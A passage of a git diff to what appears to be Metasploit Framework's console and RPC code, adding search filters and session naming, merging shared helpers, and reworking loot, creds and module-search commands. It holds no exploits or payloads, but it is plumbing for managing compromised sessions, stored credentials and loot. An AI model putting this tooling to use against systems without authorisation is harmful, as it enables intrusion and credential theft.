opts[k]['default'] = o.default unless o.default.nil? + opts[k]['enums'] = o.enums if o.enums.length > 1 + end + res['options'] = opts + res end + def module_short_info(m) + res = {} + res['type'] = m.type + res['name'] = m.name + res['fullname'] = m.fullname + res['rank'] = RankingName[m.rank].to_s + res['disclosuredate'] = m.disclosure_date.nil? ? "" : m.disclosure_date.strftime("%Y-%m-%d") + res + end + + def rpc_search(match) + matches = [] + self.framework.search(match).each do |m| + matches << module_short_info(m) + end + matches + end # Returns the compatible payloads for a specific exploit. # @@ -386,7 +421,7 @@ class RPC_Module < RPC_Base # How to warn? #if exeopts[:fellback] - # $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") + # $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") #end { "encoded" => output.to_s } diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index 11ae24775b..9a3804b2a5 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -46,7 +46,8 @@ class RPC_Session < RPC_Base 'username' => s.username.to_s, 'uuid' => s.uuid.to_s, 'exploit_uuid' => s.exploit_uuid.to_s, - 'routes' => s.routes.join(",") + 'routes' => s.routes.join(","), + 'arch' => s.arch.to_s } if(s.type.to_s == "meterpreter") res[s.sid]['platform'] = s.platform.to_s diff --git a/lib/msf/core/rpc/v10/service.rb b/lib/msf/core/rpc/v10/service.rb index 431bfc100a..aba934dd3e 100644 --- a/lib/msf/core/rpc/v10/service.rb +++ b/lib/msf/core/rpc/v10/service.rb @@ -76,6 +76,7 @@ class Service def stop self.service.stop + self.service.deref end def wait diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index f781f2864b..2de1be2a68 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -214,8 +214,9 @@ module Session dstr = sprintf("%.4d%.2d%.2d", dt.year, dt.mon, dt.mday) rhost = session_host.gsub(':', '_') + sname = name.to_s.gsub(/\W+/,'_') - "#{dstr}_#{rhost}_#{type}" + "#{dstr}_#{sname}_#{rhost}_#{type}" end # diff --git a/lib/msf/ui/console/command_dispatcher.rb b/lib/msf/ui/console/command_dispatcher.rb index 32fea80cf8..6f4d05180d 100644 --- a/lib/msf/ui/console/command_dispatcher.rb +++ b/lib/msf/ui/console/command_dispatcher.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- - +require 'msf/ui/console/command_dispatcher/common' module Msf module Ui module Console diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index 32efa7a978..a568d4446e 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -96,7 +96,7 @@ class Auxiliary } # Always run passive modules in the background - if (mod.passive or mod.passive_action?(action)) + if (mod.passive || mod.passive_action?(action || mod.default_action)) jobify = true end @@ -131,8 +131,8 @@ class Auxiliary return false end - if (jobify) - print_status("Auxiliary module running as background job") + if (jobify && mod.job_id) + print_status("Auxiliary module running as background job #{mod.job_id}.") else print_status("Auxiliary module execution completed") end diff --git a/lib/msf/ui/console/command_dispatcher/common.rb b/lib/msf/ui/console/command_dispatcher/common.rb new file mode 100644 index 0000000000..f9a5cc9201 --- /dev/null +++ b/lib/msf/ui/console/command_dispatcher/common.rb @@ -0,0 +1,147 @@ +# -*- coding: binary -*- + +require 'rexml/document' +require 'rex/parser/nmap_xml' +require 'msf/core/db_export' + +module Msf +module Ui +module Console +module CommandDispatcher + + # These are functions that are used in two or more command dispatchers. + +module Common + + # Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+ + # + # @note This modifies +host_ranges+ in place + # + # @param arg [String] The thing to turn into a RangeWalker + # @param host_ranges [Array] The array of ranges to append + # @param required [Boolean] Whether an empty +arg+ should be an error + # @return [Boolean] true if parsing was successful or false otherwise + def arg_host_range(arg, host_ranges, required=false) + if (!arg and required) + print_error("Missing required host argument") + return false + end + begin + rw = Rex::Socket::RangeWalker.new(arg) + rescue + print_error("Invalid host parameter, #{arg}.") + return false + end + + if rw.valid? + host_ranges << rw + else + print_error("Invalid host parameter, #{arg}.") + return false + end + return true + end + + # + # Parse +arg+ into an array of ports and append the result into +port_ranges+ + # + # Returns true if parsing was successful or nil otherwise. + # + # NOTE: This modifies +port_ranges+ + # + def arg_port_range(arg, port_ranges, required=false) + if (!arg and required) + print_error("Argument required for -p") + return + end + begin + port_ranges << Rex::Socket.portspec_to_portlist(arg) + rescue + print_error("Invalid port parameter, #{arg}.") + return + end + return true + end + + # + # Set RHOSTS in the +active_module+'s (or global if none) datastore from an array of addresses + # + # This stores all the addresses to a temporary file and utilizes the + #
file:/tmp/filename
syntax to confer the addrs. +rhosts+ + # should be an Array. NOTE: the temporary file is *not* deleted + # automatically. + # + def set_rhosts_from_addrs(rhosts) + if rhosts.empty? + print_status("The list is empty, cowardly refusing to set RHOSTS") + return + end + if active_module + mydatastore = active_module.datastore + else + # if there is no module in use set the list to the global variable + mydatastore = self.framework.datastore + end + + if rhosts.length > 5 + # Lots of hosts makes 'show options' wrap which is difficult to + # read, store to a temp file + rhosts_file = Rex::Quickfile.new("msf-db-rhosts-") + mydatastore['RHOSTS'] = 'file:'+rhosts_file.path + # create the output file and assign it to the RHOSTS variable + rhosts_file.write(rhosts.join("\n")+"\n") + rhosts_file.close + else + # For short lists, just set it directly + mydatastore['RHOSTS'] = rhosts.join(" ") + end + + print_line "RHOSTS => #{mydatastore['RHOSTS']}" + print_line + end + + def show_options(mod) # :nodoc: + mod_opt = Serializer::ReadableText.dump_options(mod, ' ') + print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) + + # If it's an exploit and a payload is defined, create it and + # display the payload's options + if (mod.exploit? and mod.datastore['PAYLOAD']) + p = framework.payloads.create(mod.datastore['PAYLOAD']) + + if (!p) + print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n") + return + end + + p.share_datastore(mod.datastore) + + if (p) + p_opt = Serializer::ReadableText.dump_options(p, ' ') + print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) + end + end + + # Print the selected target + if (mod.exploit? and mod.target) + mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ') + print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0) + end + + # Print the selected action + if mod.kind_of?(Msf::Module::HasActions) && mod.action + mod_action = Serializer::ReadableText.dump_module_action(mod, ' ') + print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) + end + + # Uncomment this line if u want target like msf2 format + #print("\nTarget: #{mod.target.name}\n\n") + end + + +end + +end +end +end +end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 265ca82f89..0cbc9416f5 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -41,7 +41,7 @@ class Core "-c" => [ true, "Run a command on the session given with -i, or all" ], "-C" => [ true, "Run a Meterpreter Command on the session given with -i, or all" ], "-h" => [ false, "Help banner" ], - "-i" => [ true, "Interact with the supplied session ID " ], + "-i" => [ true, "Interact with the supplied session ID" ], "-l" => [ false, "List all active sessions" ], "-v" => [ false, "List sessions in verbose mode" ], "-q" => [ false, "Quiet mode" ], @@ -51,7 +51,9 @@ class Core "-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ], "-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ], "-t" => [ true, "Set a response timeout (default: 15)" ], - "-x" => [ false, "Show extended information in the session table" ]) + "-S" => [ true, "Row search filter." ], + "-x" => [ false, "Show extended information in the session table" ], + "-n" => [ true, "Name or rename a session by ID" ]) @@threads_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], @@ -85,6 +87,10 @@ class Core "-k" => [ true, "Keep (include) arg lines at start of output." ], "-c" => [ false, "Only print a count of matching lines." ]) + @@search_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-S" => [ true, "Row search filter." ]) + @@history_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], "-a" => [ false, "Show all commands in history." ], @@ -95,7 +101,6 @@ class Core "-h" => [ false, "Help banner." ], "-e" => [ true, "Expression to evaluate." ]) - # Returns the list of commands supported by this command dispatcher def commands { @@ -134,10 +139,9 @@ class Core def initialize(driver) super - @dscache = {} @cache_payloads = nil @previous_module = nil - @module_name_stack = [] + @previous_target = nil @history_limit = 100 end @@ -171,9 +175,6 @@ class Core driver.update_prompt end - - - def cmd_cd_help print_line "Usage: cd " print_line @@ -869,10 +870,12 @@ class Core when "add", "remove", "del" subnet = args.shift - netmask = nil - if subnet - subnet, cidr_mask = subnet.split("/") - netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i) if cidr_mask + subnet,cidr_mask = subnet.split("/") + if Rex::Socket.is_ipv4?(args.first) + netmask = args.shift + else + cidr_mask = '32' if cidr_mask.nil? + netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i) end netmask = args.shift if netmask.nil? @@ -1074,7 +1077,6 @@ class Core print_line("Saved configuration to: #{Msf::Config.config_file}") end - def cmd_spool_help print_line "Usage: spool |" print_line @@ -1139,6 +1141,8 @@ class Core script = nil reset_ring = false response_timeout = 15 + search_term = nil + session_name = nil # any arguments that don't correspond to an option or option arg will # be put in here @@ -1151,53 +1155,59 @@ class Core # Parse the command options @@sessions_opts.parse(args) do |opt, idx, val| case opt - when '-q' + when "-q" quiet = true # Run a command on all sessions, or the session given with -i - when '-c' + when "-c" method = 'cmd' cmds << val if val - when '-C' + when "-C" method = 'meterp-cmd' cmds << val if val - when '-x' + when "-x" show_extended = true - when '-v' + when "-v" verbose = true # Do something with the supplied session identifier instead of # all sessions. - when '-i' + when "-i" sid = val # Display the list of active sessions - when '-l' + when "-l" method = 'list' - when '-k' + when "-k" method = 'kill' sid = val || false - when '-K' + when "-K" method = 'killall' # Run a script on all meterpreter sessions - when '-s' + when "-s" unless script method = 'scriptall' script = val end # Upload and exec to the specific command session - when '-u' + when "-u" method = 'upexec' sid = val || false + # Search for specific session + when "-S", "--search" + search_term = val # Reset the ring buffer read pointer - when '-r' + when "-r" reset_ring = true method = 'reset_ring' # Display help banner - when '-h' + when "-h" cmd_sessions_help return false - when '-t' + when "-t" if val.to_s =~ /^\d+$/ response_timeout = val.to_i end + when "-n", "--name" + method = 'name' + session_name = val else extra << val end @@ -1463,8 +1473,29 @@ class Core end when 'list',nil print_line - print(Serializer::ReadableText.dump_sessions(framework, :show_extended => show_extended, :verbose => verbose)) + print(Serializer::ReadableText.dump_sessions(framework, :show_extended => show_extended, :verbose => verbose, :search_term => search_term)) print_line + when 'name' + if session_name.blank? + print_error('Please specify a valid session name') + return false + end + + sessions = sid ? session_list : nil + + if sessions.nil? || sessions.empty? + print_error("Please specify valid session identifier(s) using -i") + return false + end + + sessions.each do |s| + if framework.sessions[s].respond_to?(:name=) + framework.sessions[s].name = session_name + print_status("Session #{s} named to #{session_name}") + else + print_error("Session #{s} cannot be named") + end + end end rescue IOError, EOFError, Rex::StreamClosedError @@ -1595,12 +1626,6 @@ class Core # Set the supplied name to the supplied value name = args[0] value = args[1, args.length-1].join(' ') - if (name.upcase == "TARGET") - # Different targets can have different architectures and platforms - # so we need to rebuild the payload list whenever the target - # changes. - @cache_payloads = nil - end # If the driver indicates that the value is not valid, bust out. if (driver.on_variable_set(global, name, value) == false) @@ -1952,7 +1977,6 @@ class Core alias cmd_unsetg_help cmd_unset_help - # # Returns the revision of the framework and console library # @@ -2257,11 +2281,16 @@ class Core # Provide valid payload options for the current exploit # def option_values_payloads - return @cache_payloads if @cache_payloads + if @cache_payloads && active_module == @previous_module && active_module.target == @previous_target + return @cache_payloads + end - @cache_payloads = active_module.compatible_payloads.map { |refname, payload| + @previous_module = active_module + @previous_target = active_module.target + + @cache_payloads = active_module.compatible_payloads.map do |refname, payload| refname - } + end @cache_payloads end @@ -2411,7 +2440,6 @@ class Core return binary_paths.include? Msf::Config.install_root end - # # Returns an array of lines at the provided line number plus any before and/or after lines requested # from all_lines by supplying the +before+ and/or +after+ parameters which are always positive diff --git a/lib/msf/ui/console/command_dispatcher/creds.rb b/lib/msf/ui/console/command_dispatcher/creds.rb index 0eba702caa..d55d3e1763 100644 --- a/lib/msf/ui/console/command_dispatcher/creds.rb +++ b/lib/msf/ui/console/command_dispatcher/creds.rb @@ -3,7 +3,6 @@ require 'rexml/document' require 'rex/parser/nmap_xml' require 'msf/core/db_export' -require 'msf/ui/console/command_dispatcher/db_common' module Msf module Ui @@ -15,8 +14,8 @@ class Creds include Msf::Ui::Console::CommandDispatcher include Metasploit::Credential::Creation - include Msf::Ui::Console::CommandDispatcher::DbCommon - + include Msf::Ui::Console::CommandDispatcher::Common + # # The dispatcher's name. # @@ -32,11 +31,11 @@ class Creds "creds" => "List all credentials in the database" } end - + def allowed_cred_types %w(password ntlm hash) end - + # # Returns true if the db is connected, prints an error and returns # false if not. @@ -52,7 +51,7 @@ class Creds end true end - + # # Miscellaneous option helpers # @@ -85,22 +84,22 @@ class Creds end return true end - + # # Can return return active or all, on a certain host or range, on a # certain port or range, and/or on a service name. # def cmd_creds(*args) return unless active? - + # Short-circuit help if args.delete "-h" cmd_creds_help return end - + subcommand = args.shift - + case subcommand when 'help' cmd_creds_help @@ -113,7 +112,7 @@ class Creds end end - + # # TODO: this needs to be cleaned up to use the new syntax # @@ -160,7 +159,7 @@ class Creds print_line " creds add user:other hash:d19c32489b870735b5f587d76b934283" print_line " # Add a NonReplayableHash" print_line " creds add hash:d19c32489b870735b5f587d76b934283" - + print_line print_line "General options" print_line " -h,--help Show this help information" @@ -190,7 +189,7 @@ class Creds print_line " creds -d -s smb" print_line end - + # @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential` # @param username [String] # @param password [String] @@ -202,35 +201,35 @@ class Creds hsh[opt[0]] = opt[1..-1].join(':') # everything before the first : is the key, reasembling everything after the colon. why ntlm hashes hsh end - + begin params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name') rescue ArgumentError => e print_error(e.message) end - + # Verify we only have one type of private if params.slice('password','ntlm','ssh-key','hash').length > 1 private_keys = params.slice('password','ntlm','ssh-key','hash').keys print_error("You can only specify a single Private type. Private types given: #{private_keys.join(', ')}") return end - + login_keys = params.slice('address','port','protocol','service-name') if login_keys.any? and login_keys.length < 3 missing_login_keys = ['host','port','proto','service-name'] - login_keys.keys print_error("Creating a login requires a address, a port, and a protocol. Missing params: #{missing_login_keys}") return end - + data = { workspace_id: framework.db.workspace, origin_type: :import, filename: 'msfconsole' } - + data[:username] = params['user'] if params.key? 'user' - + if params.key? 'realm' if params.key? 'realm-type' if Metasploit::Model::Realm::Key::SHORT_NAMES.key? params['realm-type'] @@ -269,7 +268,7 @@ class Creds data[:private_type] = :nonreplayable_hash data[:private_data] = params['hash'] end - + begin if login_keys.any? data[:address] = params['address'] @@ -284,7 +283,7 @@ class Creds print_error("Failed to add #{data['private_type']}: #{e}") end end - + def creds_search(*args) host_ranges = [] origin_ranges = [] @@ -298,6 +297,7 @@ class Creds cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ] user = nil delete_count = 0 + search_term = nil while (arg = args.shift) case arg @@ -348,6 +348,8 @@ class Creds return end arg_host_range(hosts, origin_ranges) + when '-S', '--search-term' + search_term = args.shift else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -377,7 +379,8 @@ class Creds svcs.flatten! tbl_opts = { 'Header' => "Credentials", - 'Columns' => cred_table_columns + 'Columns' => cred_table_columns, + 'SearchTerm' => search_term } tbl = Rex::Text::Table.new(tbl_opts) @@ -515,8 +518,8 @@ class Creds end return tabs end - - + + end end end end end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 960345afa9..e37a16a350 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -3,7 +3,6 @@ require 'rexml/document' require 'rex/parser/nmap_xml' require 'msf/core/db_export' -require 'msf/ui/console/command_dispatcher/db_common' module Msf module Ui @@ -15,8 +14,8 @@ class Db require 'tempfile' include Msf::Ui::Console::CommandDispatcher - include Msf::Ui::Console::CommandDispatcher::DbCommon - + include Msf::Ui::Console::CommandDispatcher::Common + # # The dispatcher's name. # @@ -94,7 +93,9 @@ class Db def cmd_workspace(*args) return unless active? + search_term = nil ::ActiveRecord::Base.connection_pool.with_connection { + search_term = nil while (arg = args.shift) case arg when '-h','--help' @@ -108,8 +109,10 @@ class Db delete_all = true when '-r','--rename' renaming = true - when '-v' + when '-v','--verbose' verbose = true + when '-S', '--search' + search_term = args.shift else names ||= [] names << arg @@ -179,19 +182,26 @@ class Db workspace = framework.db.workspace unless verbose - framework.db.workspaces.each do |ws| - pad = (ws == workspace) ? '* ' : ' ' - print_line("#{pad}#{ws.name}") + current = nil + framework.db.workspaces.sort_by {|s| s.name}.each do |s| + if s.name == workspace.name + current = s.name + else + print_line(" #{s.name}") + end end + print_line("%red* #{current}%clr") unless current.nil? return end + workspace = framework.db.workspace col_names = %w{current name hosts services vulns creds loots notes} tbl = Rex::Text::Table.new( - 'Header' => 'Workspaces', - 'Columns' => col_names, - 'SortIndex' => -1 + 'Header' => 'Workspaces', + 'Columns' => col_names, + 'SortIndex' => -1, + 'SearchTerm' => search_term ) # List workspaces @@ -456,15 +466,20 @@ class Db return end + cp_hsh = {} + col_names.map do |col| + cp_hsh[col] = { 'MaxChar' => 52 } + end # If we got here, we're searching. Delete implies search tbl = Rex::Text::Table.new( { - 'Header' => "Hosts", - 'Columns' => col_names, + 'Header' => "Hosts", + 'Columns' => col_names, + 'ColProps' => cp_hsh, 'SortIndex' => order_by }) - # Sentinal value meaning all + # Sentinel value meaning all host_ranges.push(nil) if host_ranges.empty? case @@ -527,7 +542,12 @@ class Db rhosts << addr end if mode == [:delete] - host.destroy + begin + host.destroy + rescue # refs suck + print_error("Forcibly deleting #{host.address}") + host.delete + end delete_count += 1 end end @@ -697,7 +717,7 @@ class Db 'SortIndex' => order_by }) - # Sentinal value meaning all + # Sentinel value meaning all host_ranges.push(nil) if host_ranges.empty? ports = nil if ports.empty? @@ -1095,7 +1115,7 @@ class Db def cmd_loot_help print_line "Usage: loot " print_line " Info: loot [-h] [addr1 addr2 ...] [-t ]" - print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]" + print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]" print_line " Del: loot -d [addr1 addr2 ...]" print_line print_line " -a,--add Add loot to the list of addresses, instead of listing" @@ -1167,34 +1187,38 @@ class Db 'Columns' => [ 'host', 'service', 'type', 'name', 'content', 'info', 'path' ], }) - # Sentinal value meaning all + # Sentinel value meaning all host_ranges.push(nil) if host_ranges.empty? - if mode == :add - if info.nil? - print_error("Info required") - return - end - if filename.nil? - print_error("Loot file required") - return - end - if types.nil? or types.size != 1 - print_error("Exactly one loot type is required") - return - end - type = types.first - name = File.basename(filename) - host_ranges.each do |range| - range.each do |host| - file = File.open(filename, "rb") - contents = file.read - lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name) - print_status("Added loot for #{host} (#{lootfile})") + if mode == :add + if host_ranges.compact.empty? + print_error('Address list required') + return end + if info.nil? + print_error("Info required") + return + end + if filename.nil? + print_error("Loot file required") + return + end + if types.nil? or types.size != 1 + print_error("Exactly one loot type is required") + return + end + type = types.first + name = File.basename(filename) + file = File.open(filename, "rb") + contents = file.read + host_ranges.each do |range| + range.each do |host| + lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name) + print_status("Added loot for #{host} (#{lootfile})") + end + end + return end - return - end each_host_range_chunk(host_ranges) do |host_search| framework.db.hosts(framework.db.workspace, false, host_search).each do |host| @@ -1479,6 +1503,10 @@ class Db } end + def find_nmap_path + Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe") + end + # # Import Nmap data from a file # @@ -1489,6 +1517,8 @@ class Db print_status("Usage: db_nmap [--save | [--help | -h]] [nmap options]") return end + + save = false arguments = [] while (arg = args.shift) case arg @@ -1502,11 +1532,8 @@ class Db end end - nmap = - Rex::FileUtils.find_full_path("nmap") || - Rex::FileUtils.find_full_path("nmap.exe") - - if (not nmap) + nmap = find_nmap_path + unless nmap print_error("The nmap executable could not be found") return end @@ -1556,9 +1583,11 @@ class Db end def cmd_db_nmap_help - nmap = - Rex::FileUtils.find_full_path('nmap') || - Rex::FileUtils.find_full_path('nmap.exe') + nmap = find_nmap_path + unless nmap + print_error("The nmap executable could not be found") + return + end stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') @@ -1574,9 +1603,10 @@ class Db end def cmd_db_nmap_tabs(str, words) - nmap = - Rex::FileUtils.find_full_path('nmap') || - Rex::FileUtils.find_full_path('nmap.exe') + nmap = find_nmap_path + unless nmap + return + end stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') tabs = [] @@ -1591,7 +1621,7 @@ class Db print_error(err_line.strip) end - tabs + return tabs end # @@ -1809,55 +1839,6 @@ class Db # Miscellaneous option helpers # - # Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+ - # - # @note This modifies +host_ranges+ in place - # - # @param arg [String] The thing to turn into a RangeWalker - # @param host_ranges [Array] The array of ranges to append - # @param required [Boolean] Whether an empty +arg+ should be an error - # @return [Boolean] true if parsing was successful or false otherwise - def arg_host_range(arg, host_ranges, required=false) - if (!arg and required) - print_error("Missing required host argument") - return false - end - begin - rw = Rex::Socket::RangeWalker.new(arg) - rescue - print_error("Invalid host parameter, #{arg}.") - return false - end - - if rw.valid? - host_ranges << rw - else - print_error("Invalid host parameter, #{arg}.") - return false - end - return true - end - - # - # Parse +arg+ into an array of ports and append the result into +port_ranges+ - # - # Returns true if parsing was successful or nil otherwise. - # - # NOTE: This modifies +port_ranges+ - # - def arg_port_range(arg, port_ranges, required=false) - if (!arg and required) - print_error("Argument required for -p") - return - end - begin - port_ranges << Rex::Socket.portspec_to_portlist(arg) - rescue - print_error("Invalid port parameter, #{arg}.") - return - end - return true - end # # Takes +host_ranges+, an Array of RangeWalkers, and chunks it up into diff --git a/lib/msf/ui/console/command_dispatcher/db_common.rb b/lib/msf/ui/console/command_dispatcher/db_common.rb deleted file mode 100644 index 68f789d646..0000000000 --- a/lib/msf/ui/console/command_dispatcher/db_common.rb +++ /dev/null @@ -1,57 +0,0 @@ -# -*- coding: binary -*- - -require 'rexml/document' -require 'rex/parser/nmap_xml' -require 'msf/core/db_export' - -module Msf -module Ui -module Console -module CommandDispatcher - -module DbCommon - - # - # Set RHOSTS in the +active_module+'s (or global if none) datastore from an array of addresses - # - # This stores all the addresses to a temporary file and utilizes the - #
file:/tmp/filename
syntax to confer the addrs. +rhosts+ - # should be an Array. NOTE: the temporary file is *not* deleted - # automatically. - # - def set_rhosts_from_addrs(rhosts) - if rhosts.empty? - print_status("The list is empty, cowardly refusing to set RHOSTS") - return - end - if active_module - mydatastore = active_module.datastore - else - # if there is no module in use set the list to the global variable - mydatastore = self.framework.datastore - end - - if rhosts.length > 5 - # Lots of hosts makes 'show options' wrap which is difficult to - # read, store to a temp file - rhosts_file = Rex::Quickfile.new("msf-db-rhosts-") - mydatastore['RHOSTS'] = 'file:'+rhosts_file.path - # create the output file and assign it to the RHOSTS variable - rhosts_file.write(rhosts.join("\n")+"\n") - rhosts_file.close - else - # For short lists, just set it directly - mydatastore['RHOSTS'] = rhosts.join(" ") - end - - print_line "RHOSTS => #{mydatastore['RHOSTS']}" - print_line - end - - -end - -end -end -end -end diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index a65c1a2093..08ac8aa8a7 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -145,10 +145,8 @@ class Exploit end # If we ran the exploit as a job, indicate such so the user doesn't # wonder what's up. - elsif (jobify) - if mod.job_id - print_status("Exploit running as background job.") - end + elsif (jobify && mod.job_id) + print_status("Exploit running as background job #{mod.job_id}.") # Worst case, the exploit ran but we got no session, bummer. else # If we didn't run a payload handler for this exploit it doesn't diff --git a/lib/msf/ui/console/command_dispatcher/jobs.rb b/lib/msf/ui/console/command_dispatcher/jobs.rb index ac184be4e6..85fc1071d1 100644 --- a/lib/msf/ui/console/command_dispatcher/jobs.rb +++ b/lib/msf/ui/console/command_dispatcher/jobs.rb @@ -16,6 +16,7 @@ module Msf # class Jobs include Msf::Ui::Console::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher::Common @@handler_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner"], @@ -33,7 +34,8 @@ module Msf "-K" => [ false, "Terminate all running jobs." ], "-i" => [ true, "Lists detailed information about a running job."], "-l" => [ false, "List all running jobs." ], - "-v" => [ false, "Print more detailed info. Use with -i and -l" ] + "-v" => [ false, "Print more detailed info. Use with -i and -l" ], + "-S" => [ true, "Row search filter." ], ) def commands @@ -150,6 +152,9 @@ module Msf # so we can check for the verbose flag. dump_info = true job_id = val + when "-S", "--search" + search_term = val + dump_list = true when "-h" cmd_jobs_help return false @@ -164,7 +169,7 @@ module Msf job = framework.jobs[job_id.to_s] mod = job.ctx[0] - output = '\n' + output = "\n" output += "Name: #{mod.name}" output += ", started at #{job.start_time}" if job.start_time print_line(output) @@ -334,7 +339,7 @@ module Msf framework.jobs[job_id.to_s].send(:name=, job_name) end - print_status "Payload Handler Started as Job #{job_id}" + print_status "Payload handler running as background job #{job_id}." end end end diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 09ac5b9233..f0b0110518 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -13,15 +13,14 @@ module Msf class Modules include Msf::Ui::Console::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher::Common # Constant for a retry timeout on using modules before they're loaded CMD_USE_TIMEOUT = 3 - # Constant for disclosure date formatting in search functions - DISCLOSURE_DATE_FORMAT = "%Y-%m-%d" - @@search_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner."] + "-h" => [ false, "Help banner."], + "-S" => [ true, "Row search filter."], ) def commands @@ -49,7 +48,6 @@ module Msf super @dscache = {} - @cache_payloads = nil @previous_module = nil @module_name_stack = [] @dangerzone_map = nil @@ -67,23 +65,26 @@ module Msf end def cmd_edit_help - msg = "Edit the currently active module" - msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}." - print_line "Usage: edit" + print_line "Usage: edit [file/to/edit.rb]" print_line - print_line msg - print_line "When done editing, you must reload the module with 'reload' or 'rerun'." + print_line "Edit a local file or the currently active module with #{local_editor}" + print_line "If a file path is specified it will automatically be reloaded after editing" + print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'." print_line end # # Edit the currently active module # - def cmd_edit - if active_module - editor = local_editor - path = active_module.file_path + def cmd_edit(*args) + if args.length > 0 + path = args[0] + elsif active_module + path = active_module.file_path + end + if path + editor = local_editor if editor.nil? editor = 'vim' print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.") @@ -91,6 +92,10 @@ module Msf print_status("Launching #{editor} #{path}") system(editor, path) + + if args.length > 0 + load args[0] + end else print_error('Nothing to edit -- try using a module first.') end @@ -380,63 +385,34 @@ module Msf # def cmd_search(*args) match = '' + search_term = nil @@search_opts.parse(args) { |opt, idx, val| case opt when "-t" print_error("Deprecated option. Use type:#{val} instead") cmd_search_help return + when "-S", "--search" + search_term = val when "-h" cmd_search_help return + when "-S" + search_term = val else match += val + " " end } - if framework.db - if framework.db.migrated && framework.db.modules_cached - search_modules_sql(match) - return - else - print_warning("Module database cache not built yet, using slow search") - end - else - print_warning("Database not connected, using slow search") - end - - tbl = generate_module_table("Matching Modules") - [ - framework.exploits, - framework.auxiliary, - framework.post, - framework.payloads, - framework.nops, - framework.encoders - ].each do |mset| - mset.each do |m| - o = mset.create(m[0]) rescue nil - - # Expected if modules are loaded without the right pre-requirements - next if not o - - if not o.search_filter(match) - tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ] - end - end - end - print_line(tbl.to_s) - - end - - # Prints table of modules matching the search_string. - # - # @param (see Msf::DBManager#search_modules) - # @return [void] - def search_modules_sql(search_string) - tbl = generate_module_table("Matching Modules") - framework.db.search_modules(search_string).each do |o| - tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ] + # Display the table of matches + tbl = generate_module_table("Matching Modules", search_term) + framework.search(match, logger: self).each do |m| + tbl << [ + m.fullname, + m.disclosure_date.nil? ? "" : m.disclosure_date.strftime("%Y-%m-%d"), + RankingName[m.rank].to_s, + m.name + ] end print_line(tbl.to_s) end @@ -603,11 +579,11 @@ module Msf mod_name = args[0] # Ensure we have a reference name and not a path - if mod_name.start_with?('modules/', '/') - mod_name.sub!(/^(?:modules)?\//, '') + if mod_name.start_with?('./', 'modules/') + 